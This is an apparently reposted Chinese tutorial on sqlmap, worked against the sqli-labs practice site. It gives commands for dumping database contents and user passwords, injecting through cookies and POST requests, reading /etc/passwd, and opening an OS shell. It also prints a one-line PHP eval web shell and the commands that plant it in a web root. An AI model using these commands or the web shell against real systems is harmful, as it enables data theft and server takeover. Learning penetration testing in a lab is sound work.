2000字范文,分享全网优秀范文,学习好帮手!
2000字范文 > 工具详解-sqlmap使用详解

工具详解-sqlmap使用详解

时间:2020-05-30 00:34:34

相关推荐

工具详解-sqlmap使用详解

sqlmap使用详解

简介

sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。

一、SQLMap拖库

SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列功能。测试的Payload共分为5级:Level 1 ~ Level 5,Level 1属于基础级,Payload相对较少,Level 5 Payload很多。

1、当我们发现注入点的时候

sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FFjCRDmC-1675326304100)(Untitled.assets/image-02162.png)]

2、查看所有的数据库

sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --dbs

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iYCjdFJH-1675326304101)(Untitled.assets/image-021716570.png)]

3、查看当前使用的数据库

sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --current-db

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AfnZKIbK-1675326304101)(Untitled.assets/image-021812701.png)]

4、接下来对当前使用的数据库进行查询

sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --tables -D "security"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cpEApaiD-1675326304102)(Untitled.assets/image-040244571.png)]

5、查出所有表以后,对user表的列名进行查询

sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --columns -T "users" -D "security"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qrO3qe4D-1675326304102)(Untitled.assets/image-040320687.png)]

6、users表中的列名已经知道了,可以直接查出所有数据

sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --dump -C "id,username,password" -T "users" -D "security"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f9ASEddX-1675326304103)(Untitled.assets/image-040501388.png)]

完成拖库操作后,可以在输出中查看到表数据,也可以直接根据提示信息进入相应文件查看内容

7、直接指定数据库类型,节省检测时间

sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --dbs --dbms=mysql

8、判断是否是DBA

sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --dbms=mysql --is-dba

二、POST和Cookie

1、如果某个注入点需要先登录,那么可以手工登录后,使用相同的Cookie进行处理

sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --cookie="PHPSESSID=fmlb03brefa390u2p7qjhdphg3" --dbs

2、如果注入点不是GET请求,而是POST请求,则要添加POST正文

先将POST请求在Burp中进行捕获,将请求内容保存到文件中。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9aNeacAG-1675326304103)(Untitled.assets/image-051144682.png)]

通常的POST请求正文内容如下:、

POST /sqli-labs/Less-15/ HTTP/1.1Host: 192.168.12.129:81User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/0101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.12.129:81/sqli-labs/Less-15/Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 30uname=a&passwd=a&submit=Submit

运行SQLMap时,再通过-r参数指定文件,同时通过-p参数明确指定参数名(上述请求的参数为id),实现注入。

sqlmap -r post.txt -p uname passwd --dbs

需要注意的是,由于URL地址已经在sql-post.txt的请求内容中,所以不再需要指定-u参数。如果不通过-p指定id参数,则SQLMap会尝试所有的参数进行注入测试。如uname=a&passwd=a&submit=Submit,此处3个参数都会被尝试。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e2wPVZ4l-1675326304104)(Untitled.assets/image-052033542.png)]

新版本的SQLMap在处理HTTP请求类型时会进行自动检测,即使没有明确请求类型是GET还是POST,也是基本可以实现功能的。

三、os-shell

前提条件:

知道网站的绝对路径

要有文件导入到处的权限

secure_file_priv参数控制

​ 为 null 时–>表示不允许导入导出

​ 为具体文件夹时–>表示仅允许在这个文件夹下导入导出

​ 没有值(为空)时–>表示可以在任何文件夹下导入导出

1、整个过程分为三个部分:

选择脚本语言

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CxUxGYzV-1675326304104)(Untitled.assets/image-054646192.png)]

选择写入路径

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EYsjJAT7-1675326304105)(Untitled.assets/image-054658152.png)]

获取shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D1e6SCdJ-1675326304105)(Untitled.assets/image-054710919.png)]

# 关联会话POST请求:sqlmap -r post.txt -p uname --cookie="PHPSESSID=gf1al1587kv8a76ujnhpcnk0h0" --dbms=mysql --os-shell GET请求:sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-39/?id=1" --cookie="PHPSESSID=opibuh4iqj5qvius59ir8ce5o3 " --dbms=mysql --os-shell# 未关联会话:qlmap -u "http://192.168.12.129:81/sqli-labs/Less-39/?id=1" --dbms=mysql --os-shell

2、手工读写文件

# 读取远程服务器上的文件sqlmap -r post.txt -p uname --dbms=mysql --file-read "/etc/passwd"# 木马写入:1、准备一个木马文件mm.php: <?php eval($_GET['id']); ?>2、准备注入命令:# 当SQL不能自动完成木马植入时,可以使用此命令进行手工植入sqlmap -r post.txt -p uname --dbms=mysql --file-write mm.php --file-dest "/opt/lampp/htdocs/mm.php" # POST请求sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-39/?id=1" --dbms=mysql --file-write mm.php --file-dest "/opt/lampp/htdocs/mm.php" # GET请求# 此时,也可以使用Python调用sqlmap的命令 (os.popen("").read())进行盲猜,循环遍历目录字典文件。sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-39/?id=1" --dbms=mysql --file-write mm.php --file-dest "/opt/lampp/htdocs/mm.php" --batch# --batch参数可以直接一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置,适合于自动化。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。